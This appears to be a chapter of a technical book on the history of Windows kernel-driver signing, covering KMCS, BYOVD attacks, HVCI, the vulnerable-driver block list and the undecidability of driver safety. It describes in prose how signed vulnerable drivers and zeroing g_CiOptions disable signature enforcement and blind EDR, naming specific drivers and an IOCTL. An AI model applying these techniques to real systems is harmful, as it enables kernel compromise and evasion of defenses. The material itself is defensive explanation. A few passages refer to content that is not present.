The structural takeaway from 1996 through 2005 is the one the next decade tried to repair. When the signing policy is advisory, an attacker who has (or can socially engineer) administrator privilege only needs to dismiss a prompt to load a kernel driver. The signing primitive worked. The policy around the primitive did not.

If the prompt is the only thing between an attacker and ring zero, the kernel itself has to take over. And on a brand-new x64 architecture, Microsoft could break backward compatibility to make that happen.

KMCS: The Vista x64 revolution (2006-2016)

In November 2006, Vista x64 made a decision that x86 never could: in production/default enforcement mode, it refused to load unsigned kernel drivers.

The mechanism was Kernel-Mode Code Signing, or KMCS. The previous-versions Microsoft Learn page on Vista-era driver signing [362] records the policy [362]. At the point where the kernel loaded a driver image (the IopLoadDriver → MmLoadSystemImage path), the Code Integrity module (ci.dll) intercepted the load, extracted the Authenticode signature embedded in the PE image or attached via a published catalog, walked the certificate chain, and refused to map the image if the chain did not terminate at a Microsoft-trusted root. There was no SetupAPI prompt to dismiss. If the kernel refused, the kernel refused. The decision lived below the user's reach.

x86 kept the advisory policy. Microsoft could not break compatibility with two decades of unsigned drivers on the dominant platform. But x64 was a young architecture with a few hundred drivers in the field, and Microsoft used that moment to flip the default. The structural shift was real: kernel-driver trust on x64 became a property of the binary, decided in the kernel, against a fixed set of trusted roots.

Cross-certificates: opening the gate to the world

A Microsoft-trusted root alone would have meant Microsoft signs every driver, which Microsoft did not want. Instead Microsoft cross-certified a small set of commercial code-signing certificate authorities, including VeriSign, DigiCert, Entrust, GlobalSign, GoDaddy, and several smaller successors enumerated on the historical cross-certificate list (2020 archive) [363], so that a publisher could buy a code-signing certificate from a commercial CA, sign their driver, and have the chain still terminate at a Microsoft-recognized root [363]. The architecture is documented on the cross-certificates for kernel-mode code signing page [364], which now opens with a sentence that did not exist in 2006: "Cross-signing is no longer accepted for driver signing" [364]. We will come back to that.

Documented escape hatches

KMCS shipped with three documented bypasses for developers and special cases, all enumerated on the KMCS policy page [267]:

• bcdedit /set TESTSIGNING ON enables test-signing mode. The kernel will load drivers signed with self-issued test certificates. The cost is a desktop watermark.
• The F8 advanced-boot option Disable Driver Signature Enforcement turns off KMCS for one boot.
• The legacy nointegritychecks BCD flag disables enforcement entirely, but is rejected on systems where Secure Boot is on.

Each of these was a development workflow concession. Each of them, with admin privileges and a willingness to reboot, also serves as a kernel-driver loading path for an attacker who has already escalated. The policy holds against unprivileged adversaries. Against an attacker who already runs as administrator, the policy was already, by 2010, defending against a different threat than the one people thought it was defending against.

PatchGuard: the parallel runtime defense

KMCS was a load-time check. The runtime parallel arrived in 2005 with Kernel Patch Protection, informally PatchGuard or KPP. Microsoft's 2007 advisory describes KPP on x64 Windows as protecting kernel code and critical structures from modification by unknown code or data [366]; public reverse-engineering summaries add the familiar list of watched objects: the System Service Descriptor Table, IDT, GDT, and selected function prologues [367]. It is the watchdog against runtime modification of the kernel by code that has already loaded; KMCS gates what loads in the first place.

What this fixed: the unsigned-driver-loading path closed on 64-bit Windows in production mode. Kernel rootkits of the early 2000s (FU, Mailbot, Rustock, and their contemporaries, widely documented in the security-research literature of the era) could no longer ship as bare .sys files an admin script dropped on disk. The structural class of "unsigned kernel rootkit" effectively died on x64.

But the day Vista x64 shipped, two new attack surfaces opened up. The first one Stuxnet found four years later. The second one nobody had a name for yet.

Stuxnet, BYOVD, and the two things Vista did not fix

On 17 June 2010, researchers in VirusBlokAda in Belarus identified Stuxnet, a worm targeting supervisory control and data acquisition systems [368] used in industrial-control environments [368]. Two of its drivers carried perfectly valid Authenticode signatures.

The signatures were genuine. The certificates were not. Stuxnet had been signed with private keys stolen from semiconductor vendors whose code-signing certs chained to legitimate cross-certified roots. KMCS verified the chain, found it good, and let the drivers load.

The reactive answer was certificate revocation, but revocation propagates through Windows on a schedule, not instantly, and the cached chain on millions of machines remained valid for days.

That was the first failure mode KMCS could not block by design. The signature primitive answers was this signed by a key that chains to a trusted root? It cannot answer was the key still in the publisher's control when it signed this?

The Capcom.sys reframe

The second failure mode arrived publicly in 2016. A Capcom driver shipped via a Street Fighter V update exposed an IOCTL, numbered 0xAA013044, that took a user-supplied function pointer and executed it in kernel mode: with Supervisor Mode Execution Prevention (SMEP) disabled while it did so. The driver was signed and chained correctly. Satoshi Tanda's standalone proof of concept at tandasat/ExploitCapcom [356] remains the canonical reference, including the SHA-1 of the binary (c1d5cf8c43e7679b782630e93f5e6420ca1749a7) [356].

There was nothing for KMCS to catch. The driver did exactly what the signature said it did: ship bytes from a publisher Microsoft could identify. The signature has no opinion about the IOCTL surface.

That observation is the first of three reframes in this chapter and the easiest to underestimate. Up to 2010 the conventional security reading of a Microsoft-rooted Authenticode signature was that the driver had passed a review. After Stuxnet, the reading narrowed to the publisher is identifiable. After Capcom.sys, it narrowed again to the binary's identity is verifiable. None of these readings includes the binary does not have a kernel-write primitive in its IOCTL handler.

The catalog grows

The BYOVD catalog accumulated through the 2010s.

RTCore64.sys, the kernel component of MSI's Afterburner overclocking utility, exposed read/write access to arbitrary kernel memory, I/O ports, and Model-Specific Registers from user mode. The NVD entry for CVE-2019-16098 [370] is unusually direct: "These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code." [370] The driver became a workhorse for ransomware crews. Sophos's October 2022 incident analysis of BlackByte's new variant [371] documents the abuse: BlackByte "abus[ed] a known vulnerability in the legitimate vulnerable driver RTCore64.sys" to disable "a whopping list of over 1,000 drivers on which security products rely to provide protection" [371].

gdrv.sys, the Gigabyte APP Center driver, exposed a ring-zero memcpy-equivalent that a local attacker could use to overwrite arbitrary kernel addresses. CVE-2018-19320 [372] is on CISA's Known Exploited Vulnerabilities catalog [373]. The RobbinHood ransomware family turned the primitive into the template modern BYOVD crews still copy: install the legitimate signed Gigabyte driver, use it to disable driver-signature enforcement or tamper with security tooling, then load the attacker's own kernel component to blind endpoint defenses before encryption. Sophos's technical coverage of the RobbinHood/gdrv chain and later BlackByte/RTCore64 chain documents the operational pattern rather than merely the CVE label [374] [371].

KProcessHacker, the kernel companion to the Process Hacker administration tool, exposed a process-termination primitive that bypassed even the Protected Process Light (PPL) shielding around antivirus and EDR processes: the PPL mechanism the Protected Process Light chapter (Chapter 10) owns in full. CrowdStrike's DoppelPaymer write-up [375] documents the abuse explicitly: "the hijacking technique... leverages ProcessHacker's kernel driver, KProcessHacker, that has been registered under the service name KProcessHacker3... terminate processes, including those protected by Protected Process Light (PPL)." [375]

The third bypass: patching the policy from kernel mode

There is a third failure mode that closes the loop. Once an attacker has a signed driver with an arbitrary kernel-write primitive, they can write directly into the in-kernel Code Integrity state. The variable of interest is g_CiOptions, an integer inside ci.dll whose bits gate Driver Signature Enforcement. TrustedSec describes the technique cleanly: "this configuration variable has a number of flags that can be set, but typically for bypassing DSE this value is set to 0, completely disabled DSE and allows the attacker to load unsigned drivers just fine." [376] Set g_CiOptions to zero and the subsequent driver loads do not need signatures at all. The signed driver, in effect, is a one-shot key that opens the gate for any unsigned driver behind it. The pattern recurs through the early 2020s; specific malware-family attributions remain research-folklore, but the technique class is well attested in TrustedSec's account.

The structural takeaway: KMCS verifies who signed, never what was signed. Once an attacker has a signed driver with a write primitive, they have ring zero. Stricter signing closes the front door for new malicious drivers. Many legacy commercial-CA-signed drivers remain loadable on machines matching the documented grandfathering conditions (upgraded installs, Secure Boot off, or pre-cutoff end-entity certificates whose chains still validate) unless revocation, timestamp policy, WDAC/App Control deny rules, S mode, HVCI-associated policy, or the vulnerable-driver block list says otherwise. The policy decision also has to move out of the attacker's reach. And the kernel itself has to stop being the thing that decides.

Microsoft as the only signer (2016-2024)

In August 2016, Microsoft did something the WHQL program had refused to do for twenty years: it became the only entity that could counter-sign a new Windows kernel driver.

The transition shipped with Windows 10 version 1607. The KMCS policy page [267] records the cut precisely: for end-entity certificates issued after 29 July 2015, the chain had to terminate at one of three Microsoft-owned roots (Microsoft Root Certificate Authority 2010, Microsoft Root Certificate Authority, or Microsoft Root Authority) and the binary had to be counter-signed via the Windows Hardware Dev Center submission portal [267]. The commercial CAs were out. Microsoft was in, as the single point through which any new third-party kernel driver had to pass.

Two pipelines

Behind the portal sat two submission paths. The HLK/WHQL path required a full Hardware Lab Kit compatibility test pass on the publisher's hardware: the lab kit is the modern incarnation of the WHQL program, documented on Microsoft Learn [360]. A passing run produced a "Certified for Windows" mark and made the driver eligible for OEM badging and Windows Update distribution. The lighter-friction path, called attestation signing [377], did not require an HLK run [377]. The publisher submitted a CAB containing the driver and supporting metadata. Microsoft's backend ran a malware scan and an automated policy check; if both passed, Microsoft applied a counter-signature. Attestation-signed drivers, the page notes, ship only to client SKUs.

EV certificates as the account-binding primitive

Both paths required the publisher to hold an Extended Validation code-signing certificate. The EV cert does not sign the driver image itself; it signs and binds the Hardware Dev Center submission. That gives Microsoft a real-name handle on every kernel-driver publisher. EV certificates ride a strong identity check, cost meaningfully more than commercial OV certs, and live on a hardware token in the publisher's possession. The 2021 Microsoft Security blog announcing the Vulnerable & Malicious Driver Reporting Center spells the requirement out: "Kernel-mode driver publishers must pass the Hardware Lab Kit (HLK) compatibility tests, malware scanning, and prove their identity through extended validation (EV) certificates." [378]

The legacy long tail

The pivot to Microsoft-only signing closed the door for new drivers. It did not close the door for old ones.

What attestation signing catches and what it does not

The malware scan inside attestation signing looks for known dangerous behavior. The Microsoft Security blog post on the Vulnerable & Malicious Driver Reporting Center enumerates the categories the backend flags: "Drivers with the ability to read or write arbitrary kernel, physical, or device memory, including Port I/O and central processing unit (CPU) registers from user mode." [378] In other words, the scanner already understands the BYOVD pattern.

What it does not catch are novel design flaws. A driver whose IOCTL surface is structurally unsafe in a way the scanner does not have a signature for passes the scan and ships with a Microsoft counter-signature. The Capcom.sys pattern is in the scanner's repertoire today; the pattern in the next driver to ship is, by definition, not.

A second weakness sits on the publisher side. EV-key compromise (whether through the LAPSUS$ supply-chain leaks of 2022 or other vendor incidents) is the Microsoft-only-signing flavor of the Stuxnet problem, but it is not a one-step bypass. Hardware Dev Center account controls, malware scanning, policy checks, and submission review still stand between a stolen publisher credential and a Microsoft-signed driver [378] [379]. The chain is stronger than raw commercial cross-signing, but it still depends on publisher identity and account security.

One bottleneck for signing is an improvement. But the bottleneck still trusts the kernel that asks the question. As long as the policy engine runs in the same memory the attacker can write, the policy engine loses.

HVCI: Moving the policy out of reach (2015-present)

In July 2015, Microsoft shipped a feature so structurally important that it took six years to become a consumer default, and so misunderstood that it still travels under three different names.

The names are the easiest place to start. Virtualization-Based Security (VBS) is the platform: a Hyper-V-rooted virtualization layer that exists on every modern Windows installation that meets the hardware requirements. Hypervisor-Enforced Code Integrity (HVCI) is the kernel-code-integrity consumer of VBS. Memory Integrity is the label the Windows Security UI uses today. The Microsoft Learn page on Memory Integrity [279] is the canonical primary source [279]. TrustedSec called out the conflation explicitly in their g_CiOptions in a virtualized world post [376].

That sentence is the second of this chapter's three reframes, and the one that makes everything that follows make sense.

VBS and the Virtual Trust Levels

On a VBS-on Windows machine, Hyper-V is the Type-1 hypervisor: the layer the Above Ring Zero chapter (Chapter 9) dissects. The bootloader brings the hypervisor up first, the hypervisor brings up two execution environments side by side, and the normal Windows kernel runs in one of them while a much smaller Secure Kernel runs in the other.

The Code Integrity engine on an HVCI-on machine (signature verification and policy-file consultation) runs inside VTL1's Secure Kernel as the Secure Kernel Code Integrity component, SKCI. The VTL0 kernel cannot read or write VTL1 memory by hardware construction: the hypervisor's second-level address translation tables, programmed before VTL0 ever runs, mark VTL1 pages as unreachable from VTL0. The in-memory g_CiOptions state continues to reside in ci.dll's VTL0 data section (it does not relocate into VTL1) but on an HVCI-on machine Kernel Data Protection (KDP), exposed to VTL0 drivers as MmProtectDriverSection, asks the Secure Kernel to mark the containing page read-only at the SLAT level. A fully compromised VTL0 kernel (with kernel debugging attached, with all of ring zero's privileges) cannot rewrite g_CiOptions to zero, because the SLAT mapping refuses the write.

W^X on kernel memory

There is a second, equally structural property HVCI enforces. When the VTL0 kernel tries to map an executable section (to create a kernel-executable page from a PE image), the hypervisor forces the request through SKCI. SKCI verifies the Authenticode signature at section creation time, not only at the driver-load entry point (IopLoadDriver / MmLoadSystemImage) a load goes through later [279]. And SKCI refuses any page that is simultaneously writable and executable. The classic exploitation technique of allocating a writable kernel buffer, writing shellcode into it, and then jumping to it stops working: the page either is writable, in which case it is not executable, or is executable, in which case it is not writable.

The hardware acceleration matters. The Memory Integrity page [279] is unusually direct about the requirement: "Memory integrity works better with Intel Kabylake and higher processors with Mode-Based Execution Control, and AMD Zen 2 and higher processors with Guest Mode Execute Trap capabilities. Older processors rely on an emulation of these features, called Restricted User Mode, and will have a bigger impact on performance." [279]

What HVCI fixed

The g_CiOptions patching family, the third bypass we met in the BYOVD section, closes on HVCI-on systems. TrustedSec's post [376] gives a clean account: g_CiOptions still lives in ci.dll's VTL0 data section, but Kernel Data Protection (exposed to VTL0 drivers as MmProtectDriverSection) asks the Secure Kernel in VTL1 to mark its containing page read-only at the SLAT level, so a VTL0 ring-zero write to it faults; the VTL0 kernel cannot rewrite the variable; live-kernel debuggers attached to VTL0 cannot rewrite it either [376]. The arbitrary-write-to-disable-DSE pattern that worked on Windows 7 through pre-HVCI Windows 10 is, on an HVCI-on Windows 11, no longer a primitive that exists in the attacker's threat model. The trust domain that decides the policy is not the trust domain the attacker can reach.

What HVCI did not fix

It is essential to be clear about what HVCI does not catch, because misreading this is how the BYOVD class survives.

HVCI verifies the signature and enforces W^X. It does not analyze the driver's behavior. Absent a matching vulnerable-driver block-list entry or enterprise WDAC/App Control deny rule, a 2019 RTCore64.sys variant can pass HVCI/SKCI section-mapping unchanged: it is signed by MSI through a Microsoft-recognized chain, it has no writable-and-executable pages, and the Authenticode hash on disk matches the binary in memory. After it loads, an attacker in user mode sends an IOCTL; the driver, executing legitimately in ring zero, writes attacker-controlled bytes to an attacker-chosen kernel address; the EDR notify routine table is patched; the BYOVD attack proceeds. Everything that happens inside the IOCTL handler happens with kernel privilege, on properly-signed code paths, inside HVCI's W^X policy. The structural BYOVD class is unaffected.

That is the gap the next two sections close.

HVCI hardens the trust domain where the decision is made and enforces W^X. The remaining question is policy content: this specific signed binary is one we do not trust.

The block list: Naming the weakness (2018-present)

Beginning with Windows 10 1809 (October 2018), Microsoft started shipping something it had spent twenty-five years avoiding: a list of specific drivers it would refuse to load by name.

The artifact lives at %windir%\system32\CodeIntegrity\DriverSiPolicy.p7b. The file is a PKCS#7-signed App Control for Business policy ("WDAC" by its former name) whose body consists of deny rules expressed at the granularity of file hash, file name, or publisher. The canonical Microsoft-recommended driver block rules page [271] is the primary source, and is unusually rich for a Microsoft Learn page [271].

The mechanics matter because DriverSiPolicy.p7b is often misdescribed as a certificate revocation list. It is not. A CRL says that a certificate should no longer be trusted; it works at issuer and serial-number granularity. The vulnerable-driver block list is a Code Integrity policy. Microsoft publishes it as source XML on the recommended-block-rules page and ships it to clients as a signed binary policy wrapped in the .p7b container [271]. The XML-level concepts are visible even when the exact compiled binary layout is deliberately not a stable public ABI: file rules identify individual artifacts by hash or name; signer rules identify certificate or publisher scopes; policy options define enforcement rather than audit; and the compiler turns those rules into the binary form the kernel Code Integrity engine consumes [380].

For a driver load, that means the decision tree has three independent identities available. First is the content identity: the file hash says "these exact bytes." Second is the package identity: the catalog member hash binds a .sys file to the .cat file that Authenticode signed. Third is the publisher identity: the certificate chain says who signed the package. DriverSiPolicy.p7b can deny at any of those levels. Hash denial is precise and low-compatibility-risk but misses a repacked vulnerable driver. Name denial catches the common commodity case but can overmatch benign files with the same leaf name. Signer denial is broad and powerful but risks collateral damage when a publisher has both vulnerable and non-vulnerable products. The shipped policy is therefore not a simple list of "bad vendors"; it is a compatibility-managed collection of rule types chosen for the narrowest safe blast radius.

The enforcement path is also different from normal application allowlisting. An enterprise WDAC policy often begins with "block everything except these publishers, paths, or hashes." The in-box vulnerable-driver policy is the inverse: normal Windows driver signing remains the allow baseline, and DriverSiPolicy.p7b overlays known-bad deny rules on top. Deny rules win because the point is to let the long tail of legitimate drivers keep working while refusing specific artifacts that research, incidents, or Microsoft's reporting center have shown to be unsafe. That is why the published-vs-shipped gap exists: the more general a deny rule is, the more likely it is to break a legitimate fleet.

Cadence and the published-vs-shipped gap

The block list is refreshed on two cadences. Microsoft publishes the source XML on the block-rules page [271] on a quarterly schedule and pushes the binary DriverSiPolicy.p7b to client devices through monthly Windows servicing [271]. Microsoft's Security Baselines team also publishes a running update post [381] cataloging the changes [381].

The candid admission on the block-rules page [271] is the part of the story that is most worth understanding.

The published list is, on purpose, more inclusive than the shipped list. The reason is operational: every entry in the shipped list is a driver that would refuse to load on millions of devices, some of which have legitimate dependencies. Microsoft holds entries back when the compatibility cost is too high, even when the security signal is strong. We will come back to whether that gap is closeable in the undecidability analysis.

The 22H2 cut and the Server 2016 carve-out

Two dates anchor the deployment story.

The block list was an optional feature in Windows 10 1809, enabled by default only on systems that ran Hypervisor-Enforced Code Integrity or Windows in S-mode [382]. With the Windows 11 2022 Update, also known as 22H2 [383], released on 20 September 2022, default-on coverage broadened across client devices rather than only the HVCI-on subset [383]. The 22H2 release is the moment the block list became baseline Windows client behavior, subject to policy state and documented carve-outs, six years after the first BYOVD primitive that motivated it.

The block-rules page [271] notes a single explicit carve-out worth flagging.

The October 2022 preview cycle saw a documented quirk: KB5020779 [382] explains that a preview release shipped without an actual blocklist refresh, addressed by a subsequent servicing update [382].

Naming the weakness, not the publisher

For the first time in the story, the question Windows asks at load time is not only who signed this binary? but also is this specific signed binary one we have learned is unsafe? The block list is a step the previous generations could not have taken with the primitives they had: it requires a deny list that can be authored after the fact, distributed quickly, and enforced inside a trust domain the attacker cannot reach. KMCS supplied the load-time enforcement primitive; HVCI supplied the immune-from-VTL0 enforcement context; with HVCI, that policy decision is made from a VTL1 context that a compromised VTL0 kernel cannot rewrite. Without HVCI, the same vulnerable-driver block list can still be enforced as a Code Integrity/App Control policy on supported clients, but with less isolation of the enforcement context.

The vulnerable & malicious driver reporting center

The block list grew faster after Microsoft built a structured channel to feed it. The December 2021 Microsoft Security blog post [378] announced the Vulnerable & Malicious Driver Reporting Center: a portal where researchers and vendors can submit kernel drivers for evaluation, backed by an automated analysis pipeline that looks for the BYOVD primitives. "the ability to read or write arbitrary kernel, physical, or device memory, including Port I/O and central processing unit (CPU) registers from user mode." [378] The post explicitly lists the historical CVE backdrop that motivated the center, naming RobinHood, Uroburos, Derusbi, GrayFish, and Sauron as families that leveraged driver vulnerabilities such as CVE-2008-3431, CVE-2013-3956, CVE-2009-0824, and CVE-2010-1592 [378].

The same post anchors the EV-certificate publisher requirement and the HLK or attestation gating that produces the block list's inputs in the first place. The reporting center is the path by which a flagged driver moves from "spotted in research" to "deny rule in the next quarterly XML push".

Defender ASR as the HVCI-off coverage path

There is a third surface worth knowing about. Microsoft's Attack Surface Reduction rules [384] include "Block abuse of exploited vulnerable signed drivers" (56a863a9-875e-4185-98a7-b882c64b5ce5) as part of the standard ASR protection set [384]. For Microsoft Defender for Endpoint customers on Windows 10 E3 or E5, the rule covers machines where HVCI is not on. Microsoft notes that "the same blocklist is also used by Microsoft Defender Antivirus customers" via the ASR rule [378]. The path is narrower than HVCI-rooted enforcement (Defender has to be running, the rule has to be enabled) but it extends the block list to enterprise environments that have not yet flipped HVCI on.

LOLDrivers and the dual-use externality

The block list is not the only catalog of vulnerable Windows drivers. The community-maintained LOLDrivers project [385] ("Living Off The Land Drivers") collects vulnerable, malicious, and known-malicious Windows drivers in one place. Every entry carries YAML metadata and where possible YARA, Sigma, ClamAV, and Sysmon rules, plus a pre-compiled App Control deny policy that can be deployed standalone [386] [385]. As of the source verification for this chapter, LOLDrivers carried approximately 2,132 driver entries: considerably more than the Microsoft-shipped list.

Check Point Research called out the dual-use problem in their 2024 piece [387]: a public catalog of vulnerable drivers is also a reading list for attackers. The same researchers ran the methodology in reverse: "we conducted a mass hunt for new drivers that may be vulnerable, uncovering thousands of potentially at-risk drivers." [387] Defenders use the list for hardening; attackers use it for shopping. Both effects are real.

A WDAC rule evaluator, in miniature

The semantics of an App Control policy are simple enough to model in a few lines. Deny rules win; allow rules are consulted next; the default action handles whatever is left.

Naming the weakness is genuinely new. But the list only ever lists what someone has already found. The window between disclosure and enforcement is months, and Microsoft documents that the shipped list is by design weaker than the published one. What gets the rest of the way?

The 2026 stack: Defense in depth made concrete

On a default-configured Windows 11 22H2-class client as verified for this chapter on 2026-06-09, a kernel driver that tries to load is exposed to five distinct predicates. They are not all a single linear kernel-load hook; they are overlapping enforcement and coverage paths, and each closes a blind spot the previous one cannot reach.

The predicates and dependencies are:

1. Kernel-Mode Code Signing. The Authenticode chain must terminate at a Microsoft-owned root. The chain check rejects unsigned drivers and drivers chained to non-Microsoft roots, except under the documented grandfathering carve-outs [267].
2. The Vulnerable Driver Block List. The Code Integrity policy engine consults DriverSiPolicy.p7b for hash, file-name, and signer-level deny rules; on HVCI systems SKCI evaluates that policy from VTL1. The list is default-on for Windows 11 22H2 client devices [383], and is updated quarterly through Microsoft Learn's published source XML and monthly through Windows servicing, subject to compatibility holdbacks [271] [383].
3. HVCI / SKCI. The Code Integrity engine runs in VTL1, verifies signatures at section-mapping time rather than only at the driver-load entry point, and enforces W^X on kernel memory. The policy engine is structurally out of reach of a fully compromised VTL0 kernel [279].
4. App Control / Smart App Control. Enterprise admins author explicit App Control allowlists. Consumer devices on clean Windows 11 installs can run Smart App Control [388], a Microsoft-authored App Control policy backed by cloud reputation for apps and augmented by the vulnerable-driver block-list behavior Microsoft documents for SAC-enabled systems [388] [380] [271].
5. Defender ASR. On Microsoft Defender for Endpoint deployments, the "Block abuse of exploited vulnerable signed drivers" ASR rule extends block-list coverage to HVCI-off environments [384].

Orthogonality, not redundancy

The five gates look redundant from a distance. They are not. Each closes a class of failure the others cannot reach. The orthogonality is the reason for the stack.

The matrix is the practical justification for the stack. If DriverSiPolicy.p7b had perfect coverage there would be no need for SAC; if SAC had a complete allowlist there would be no need for the block list; if HVCI proved driver safety rather than driver identity there would be no need for either. None of those preconditions hold, and the undecidability analysis explains why they cannot.

Smart App Control's particulars

SAC merits a few specifics because its behavior differs from the rest of the stack in ways that surprise readers. First, it is consumer-facing and only available on clean Windows 11 installs. An upgrade does not get SAC. Second, SAC ships in evaluation mode by default. Windows watches user behavior, and if the user mostly runs cloud-reputable software, SAC quietly flips to enforce; if the user runs a lot of niche or self-developed software, SAC quietly flips to off. Third, until a 2024 servicing change [388] made SAC re-enableable from Windows Security, turning SAC off used to require a clean install to bring it back [388]. Fourth, on enterprise-managed devices, SAC turns itself off automatically after 48 hours; managed environments are expected to deploy WDAC instead [380].

The cold-start failure mode is worth knowing for the application side of SAC and for driver-adjacent installers, updaters, and control panels. A small independent hardware vendor whose software has never been seen at scale may lack a cloud reputation when SAC asks about it. The fallback is signature, but signed software from an unknown publisher does not always clear SAC's confidence threshold. For kernel drivers themselves, the primary documented SAC linkage is not a per-driver ISG reputation verdict; it is SAC enabling the vulnerable-driver block-list state [271] [388].

Verifying what the machine actually does

The state of the stack on any given Windows machine is observable. The Win32_DeviceGuard WMI class exposes a SecurityServicesRunning array whose integer codes name the security services currently active. The aside below covers the practitioner-facing details.

Five gates is a lot of work to do what one ideal gate could not. The reason for the inflation is uncomfortable: the one ideal gate cannot, in principle, exist.

Proof on a live machine

The mechanism above is architectural; the live-machine claim is narrower. The following block is the chapter's single captured evidence block. It is copied verbatim from the lab capture and is protected by the build's evidence-fidelity gate.

SecurityServicesRunning           = CredentialGuard, HypervisorEnforcedCodeIntegrity
CodeIntegrityPolicyEnforcementStatus         = 2
UsermodeCodeIntegrityPolicyEnforcementStatus = 1
Scenarios\HVCI\Enabled            = 1

SecurityServicesRunning listing HypervisorEnforcedCodeIntegrity shows that HVCI is actually running, not merely available (a raw Get-CimInstance returns this field as the integer enum array {1, 2}, surfaced here by the documented names: 1 = Credential Guard, 2 = Hypervisor-Enforced Code Integrity). Scenarios\HVCI\Enabled = 1 is the policy state that put it there, and CodeIntegrityPolicyEnforcementStatus = 2 is the enforced system code-integrity-policy state rather than audit-only mode. The same deviceguard.txt capture anchors the Secure Kernel chapter (Chapter 6) and the Credential Guard chapter (Chapter 15) as well, because the VBS security services share a single Win32_DeviceGuard surface: one probe, three guarantees, each chapter reading only the lines it owns; here, the HVCI-relevant ones.

The next probes are 🔵 DOCUMENTED: commands a reader can run and expected output shapes from Microsoft documentation, not additional captures from the lab VM.

VirtualizationBasedSecurityStatus      : 2
SecurityServicesRunning                : {2}
CodeIntegrityPolicyEnforcementStatus   : 2

Read these fields narrowly. SecurityServicesRunning is an array of VBS security services; Microsoft documents value 2 as Hypervisor-Enforced Code Integrity / Memory Integrity. CodeIntegrityPolicyEnforcementStatus = 2 is the documented enforced state for the system code-integrity policy. A fleet query should treat absence of 2 from SecurityServicesRunning as "HVCI is not running," even if a policy is configured somewhere else.

TimeCreated : <timestamp>
Id          : 3033
ProviderName: Microsoft-Windows-CodeIntegrity
Message     : Code Integrity determined that a process attempted to load a file
              that did not meet the signing level requirements.

TimeCreated : <timestamp>
Id          : 3077
ProviderName: Microsoft-Windows-CodeIntegrity
Message     : Code Integrity determined that a file did not meet the code
              integrity policy requirements and was blocked.

The exact path and process vary by machine. The provenance of the signal matters more than the placeholder values: the Code Integrity operational log is where Windows records signature- and policy-based load failures, including App Control blocks: the same log an EDR consumes through the telemetry pipeline the ETW chapter (Chapter 25) describes. Use it to corroborate policy behavior; do not infer HVCI state from event presence alone.

True

VulnerableDriverBlocklistEnable : 1

DriverSiPolicy.p7b is the in-box vulnerable-driver block-list policy. Microsoft documents the block list as default-on for Windows 11 22H2 client devices and as enforced when Memory Integrity, Smart App Control, or S mode is active, with a Windows Server 2016 carve-out. The registry value is an administrative state surface; the file's presence confirms the policy artifact is deployed, not that every published Microsoft rule is present in the in-box build.

The undecidability wall

Why does Windows need five layers to do what one perfect signature ought to do? Because the perfect signature is mathematically impossible.

The third reframe of this chapter is the one that turns engineering frustration into theoretical inevitability. The property of interest ("this signed driver, when exercised through its IOCTL surface, can be coerced into giving an attacker an arbitrary kernel-write primitive") is a non-trivial semantic property of the driver's program text. Rice's theorem says that for any non-trivial semantic property of programs, the predicate is undecidable on the class of all programs. In that unrestricted Turing-machine abstraction, no algorithm exists that, in finite time, answers correctly for every input.

A useful way to state the bound: if $P$ is the set of arbitrary driver programs and $\text{Unsafe}(p)=1$ iff driver $p$ exposes a kernel-write primitive through its IOCTL handler, then no total computable function $f:P\to \{0,1\}$ satisfies $f=\text{Unsafe}$ for the unrestricted class. Every approximation either over-blocks ($f(p)=1$ when $\text{Unsafe}(p)=0$, false positives, broken drivers) or under-blocks ($f(p)=0$ when $\text{Unsafe}(p)=1$, false negatives, BYOVD in the wild). The signing pipeline scans for the obvious cases; sophisticated dynamic analyzers will catch more of the not-obvious cases; restricted driver subsets and specific vulnerability classes can be decidable or model-checkable in principle; but the unrestricted semantic-safety problem has no complete exact solution.

Microsoft's formal acknowledgment

Microsoft's servicing criteria define the question MSRC asks before issuing a Windows security update: whether a report violates the goal or intent of a Microsoft-defined security boundary or feature, and whether severity meets the servicing bar [301]. The published boundary list includes boundaries such as user/kernel separation, VMs, and VBS enclaves; it does not make administrator-to-kernel escalation on the same Windows installation a general servicing boundary [301]. Elastic Security Labs put the operational consequence in plain English: "the blocklist's deployment model can be slow to adapt to new threats, with updates automatically deployed typically only once or twice a year. Users can manually update their blocklists, but such interventions bring us out of 'secure by default' territory... When determining which vulnerabilities to fix, the Microsoft Security Response Center (MSRC) uses the concept of a security boundary." [365]

The MSRC framing is engineering policy and threat-model scoping, not a claim that administrator-to-kernel attacks are harmless. The undecidability result is theoretical inevitability. They land in the same place: an attacker who has administrator privilege, who can pick from the entire history of signed Windows drivers, who is patient, is not stopped by any number of signature checks. The defense-in-depth mechanisms make the attacker work harder; they raise the cost; they shrink the surface of viable signed drivers. They do not close the structural gap.

Closeable gaps and irreducible gaps

It is worth separating two kinds of gap.

The published-vs-shipped block list gap is a policy decision, not an engineering limit. Microsoft documents that "it's often necessary for us to hold back some blocks to avoid breaking existing functionality." [271]

Defenders willing to accept compatibility risk can narrow it on their own machines today by deploying the published Microsoft XML, supplemental policies, or community policies in audit mode before enforcement.

The gap that cannot close is the one between the published list and the universe of vulnerable drivers Microsoft has not yet learned about. That is where the undecidability result bites. No amount of pipeline tightening eliminates the class of design flaws whose recognition requires understanding what the driver's IOCTL handler will do under all possible inputs.

What static methods can achieve

Quantifying what the existing layers achieve is more useful than lamenting what they cannot, but the quantification has to be honest about the public evidence. Microsoft documents the policy schema and the HVCI enforcement properties; it does not publish SKCI's exact in-memory indexes or the compiled CiPolicy binary layout as a stable programming contract. So the useful statement is not "Windows implements this exact asymptotic data structure." The useful statement is: every load-time check Windows performs today belongs to one of a few decidable, bounded classes, and none of those classes is equivalent to semantic safety.

Authenticode and catalog verification answer an integrity-and-identity question. The loader has a byte string, a candidate signature, and a set of trusted anchors. The work is finite: hash the PE image under Authenticode's rules; if the file is catalog-signed, find the catalog member hash that covers the image; verify the PKCS#7 signature; build and validate the certificate chain; consult revocation state to the extent policy requires it; then compare the resulting signing level with the kernel-mode threshold. That can be expensive in engineering terms (disk I/O, certificate-chain building, timestamp handling, catalog lookup, cache effects) but it is still a syntactic predicate over bytes and certificates. It never requires executing the driver's IOCTL handlers.

HVCI/SKCI adds a second decidable predicate at section-creation time. The section either has executable permission or it does not; the proposed mapping either attempts writable-and-executable kernel memory or it does not; the policy decision either comes from VTL1 or it does not. MBEC and GMET matter because they let the hypervisor express supervisor/user execute permissions without trapping every transition through a slow emulation path. Microsoft's public Memory Integrity page is careful here: newer Intel Kabylake-and-later and AMD Zen-2-and-later processors do the job with hardware support, while older processors fall back to Restricted User Mode and pay a larger performance cost [279]. That is a performance property, not a proof of behavioral safety.

